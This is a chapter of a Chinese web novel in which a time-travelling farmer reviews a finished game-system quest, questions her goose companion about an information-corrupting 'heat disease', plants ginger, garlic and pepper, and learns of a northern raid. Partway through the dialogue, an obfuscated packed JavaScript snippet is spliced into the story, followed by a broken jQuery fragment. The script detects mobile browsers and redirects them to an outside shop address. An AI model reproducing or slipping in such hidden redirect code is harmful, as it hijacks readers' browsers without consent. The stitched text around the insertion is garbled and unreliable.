文趣网 > 都市小说 > 在古代种田游戏养老后 > 55. 第五十五章
    生姜能祛湿气,还能煮生姜水避风寒,对肉类去腥,或者干脆做腌渍生姜。

    大蒜的话能养成蒜薹,产量高,既能种出调味品,也多了一种蔬菜。

    秦玉罗努力从中找出优点,渐渐的还真说服了自己。

    毕竟系统虽然有调味品,但架不住口味实在口感塑料单调,很浪费食材。

    这回能自己种,想必做菜风味会更上一层楼,石榴他们也会更开心。

    坏了,这回是完全说服自己了,她现在居然觉得开出一堆调味料还是好事。

    秦玉罗无奈地收下奖励,种子自动收入了系统背包,系统面板还没消失,而是凝结出了一个副本碎片,显示了已完成,与第一次的副本并列悬浮着。下面还出现了一行倒计时,仍旧是五天冷却时间。

    副本通关后可以通过凝结的副本碎片查看详情,得知更多信息,也可以查看副本原定的BE途径。

    秦玉罗好奇地点击了一下。

    她其实还是有些疑惑的。

    总结这次的副本,她所做的不过是帮助了弟弟高考改志愿,弃文从武。

    比起上次的生死危机来,实在是有点雷声大雨点小。

    甚至在最后通关后,谢夫人更加憎恨谢维之,甚至亲自给谢维之下毒,秦玉罗认为,这已经是个坏结局,她都做好要再来一次的准备了。

    结果这样都算是她通关了。

    这残念通关未免也太好过。

    怀着疑惑,秦玉罗看见残念碎片凝结出一行行文字,副本内的故事在她面前原原本本地展现了出来。

    只是那些黑色的故事轨迹上多了红色的修改内容,让它看起来就像是教师批改过的作业。

    秦玉罗找到了自己穿越过去的节点,那里并没有被红笔覆盖。上面写着[谢维之敌不过弟弟的百般恳求,最终同意了出游。]

    [在春景灿烂的妃子湖边,谢安之一眼就望到了湖畔热闹的比武擂台。]

    看来谢维之同样带了自己的弟弟外出,并且见到了谢家的比武招亲。

    第一处不同从谈话开始。

    [一个平民百姓,竟也可以做到将军?]

    谢维之敏锐地察觉出弟弟眼中就连他自己都不知晓的渴望,但他选择了沉默。

    他的心声在说:最近北蛮异动频繁,三年后必将掀起大战,不能让安之参军。

    秦玉罗暗暗吃惊。

    谢维之一个远在京城的富家公子,为什么如此笃定北蛮将会大举入侵?

    她算了算时间,还距离谢维之估算的大战还有半年,这个时间并不准确,或许会因为天降的寒灾提前。

    她心中忧虑,继续往下看去。

    谢维之似乎十分爱护这个弟弟。尽管已经看出了弟弟心中的渴望,他还是没有迈出那一步。

    命运由此发生了分歧,仿佛江河的中心遇到了一颗小小的石头,让河流奔涌向了两条不同的方向。

    秦玉罗让馆芳教授谢安之习武,谢安之展现了惊人的天赋,谢安之与父亲发生冲突,秦玉罗及时救场,谢安之如愿进入军营。

    另一条道路上,谢安之因为比武场上的惊鸿一瞥,对读书习字彻底失去兴趣。他没有人可以倾诉,认为自己敬爱的兄长也不支持自己。于是他选择了偏激的手段,深夜离家出走,奔向兖州去投奔金羽军。

    这是一个错误决定。

    京城距兖州相距千里,一个孩子不可能抵达。

    很快,寻找谢安之的人找到了他的尸体,经过检查,发现他是因病死亡。

    谢家夫人发了疯,认为是谢维之这个邪祟克死了自己儿子。甚至觉得,说不定是谢维之害死了安之,将尸体丢出,伪装成了偶然死亡。

    那天,她亲自带着毒粥见了谢维之,谢维之虽然当时识别出了粥有毒,但谢夫人袖中还藏了一把匕首,在粥中下毒失败后,她便发了疯刺向了谢维之。

    最终谢维之死亡。

    谢维之失去了关爱的弟弟,祸根却是他对弟弟的保护。

    秦玉罗终于明白为什么这是一个残念副本了。

    想保护的人因为自己的保护反而死去,正常人都会做噩梦,耿耿于怀,更何况还是对自己道德标准奇高的谢维之。

    秦玉罗叹了口气,心情略有些沉重。

    她知道自己只是运气好才通关了这次的副本,作为外人,轻描淡写地将一个人的命运拨到了另一边。

    如果设身处地,她是谢维之,对自己的弟弟关爱有加,在知道了参军后没有几年就要打仗,她肯定会和谢维之做出一样的选择。

    命运弄人,她这次是误打误撞了。

    秦玉罗揉了揉脸,振作起来。

    “算了,不要想那么多了,副本通关了,我也拿到了种子。现在该起来种地了!”

    种子留在身边就是烫手,秦玉罗已经迫不及待地想要播种,看着它们生根发芽,长出果实。

    但在刷牙时,秦玉罗忽然想起一件大事,连忙敲了大鹅。

    大鹅头上还带着睡帽,似乎还没从梦里清醒,打着哈欠懒洋洋地问:“怎么了?”

    “我有个问题,那热症是怎么回事?现在查出来了吗?”

    “呃……那个、我想主系统那边比较忙,响应不太及时……”大鹅说着眼神开始乱飘,身体往房门的方向退,似乎想要逃跑。

    秦玉罗哪能让它如意,一把抓住了它,将大鹅叉在洗手台上制裁。

    “老实交代清楚!这到底是怎么回事!”

    “没有,你放开我……”大鹅闭了闭眼,像是自暴自弃一般道:“好吧,我告诉你实情。”

    “热症有很强的传播性你知道吧?但是它的传播性甚至涉及到了与它相关的信息,只要记录就会被污染。主系统为了自保,将信息都删除了。哎——你别绝望,主系统也没有办法,因为热症信息,主系统还格式化了一回。”

    “我没有绝望。”秦玉罗揉了揉太阳穴:“从你们主系统的反应就能看出来这热症很麻烦吧?那它有说该怎么处理吗?真的一点应对措施都没有留下?”

    秦玉罗可不认为能做到系统主脑的层次的,会在明知道有一项可以危害自身的可怖病毒,但必须要阉割自己,删除相关信息,会不提前留一手后门。

    热症要是再次出现,面对的系统毫无准备,岂不是成为了案板上待宰的鸡吗。

    大鹅开始飘,蚊子叫一样的小声说:“它说了。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752042|209439||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “它说——万事皆圆。”

    秦玉罗险些没有绷住脸上的表情。

    谁能想到站在科技顶端的主系统是这种神神叨叨的风格。

    大鹅也有些沮丧。

    “其实还有另一个办法,热症是在我管辖的世界范围内产生的,只要我彻底斩断与主系统的联系,再强大的病毒都没有办法穿过世界壁。或许这也是主系统的想法。”

    秦玉罗瞥了一眼旁边的呆头鹅,它看起来似乎有些茫然,红鹅掌局促地蜷缩着。

    她知道这只鹅脑子不太聪明,平时干的都是一些躲懒摸鱼的事情,突然要它奉献自己自我牺牲什么的,肯定压力山大。

    “你担心什么,还有我呢。”

    秦玉罗揉了一把鹅脑袋,手感出乎意料的不错,像是天鹅绒。她猜测或许主系统早就做好了热症卷土重来的准备。

    万事皆圆,亦是事缓则圆。

    主系统真正想说的,应该是让他们顺其自然。

    涉及信息感染,主系统不能透露太多,便只能用这种方式委婉地提醒他们。

    消极的情绪像是露珠,在走到太阳下劳作起来后,很快就消散了。

    秦玉罗跟众人说了要加种一亩生姜的事情,一亩大蒜的事情,在地头上分配好了各自的任务。石榴和司空飞各带一队劳工种植生姜和大蒜,她则去种植花椒。

    由于花椒数量不多,秦玉罗便将其种在了房屋院子外的一圈地上,等花椒树长成,就是一圈天然的篱笆。

    秦玉罗在山上忙碌着,很快就到了初一这天,和谢维之约定的日期到了。

    一大早,牛车上就载满了粮食两千斤的粮食。秦玉罗点了美男和石榴一起下山帮她将货物运送到城里。

    之所以司空飞留守,是秦玉罗相信他能够靠着他的小玩意震住山匪们。

    蜿蜒的粮食车队下了山,目标是山下的兖州城。

    ——

    西北边境上,一位老牧羊人正在放养的农户正在将羊赶到低洼处吃草。

    咩咩叫着的羊瞅见了雪层下隐隐约约的绿色,立即兴奋地奔下山坡,对着难得一见的一片绿草大吃特吃起来。

    老牧羊人是兖州子民,家住的地方靠近边境,土地不适合种地,因此养了十来只羊,偶尔的时候,他会将羊赶到北蛮地界的一座山上放牧——蛮人很少去那里。有时候老牧羊人会发现一些长势不错的牧草。

    今天老牧羊人运气很好,他的羊能吃上一次饱饭。

    正当他抽着烟袋,慢悠悠地寻找到一块平坦的地面坐下时,一阵隆隆的地动声传来,那声音由远及近,像是某种群体性的动物不断地踏在雪地上的声音。

    年迈的牧羊人抬起头,下意识地向着高处看去。

    从那纷飞的雪水中,老牧羊人看到了无数崩腾的马蹄。骑在马背上的人体格健硕,身体上披着动物毛皮做成的衣物,以及零星的彩色石头的饰物品,一看就不像是中原人。

    那些蛮人自北向南而来,就连往日最喜抢掠的村庄都毫不在意,一路向南,势如破竹。

    老牧羊人睁大的眼睛中看到了千军万马,像是铅灰色的阴云迅速地笼罩上了兖州大地。

    所过之处,一片血海。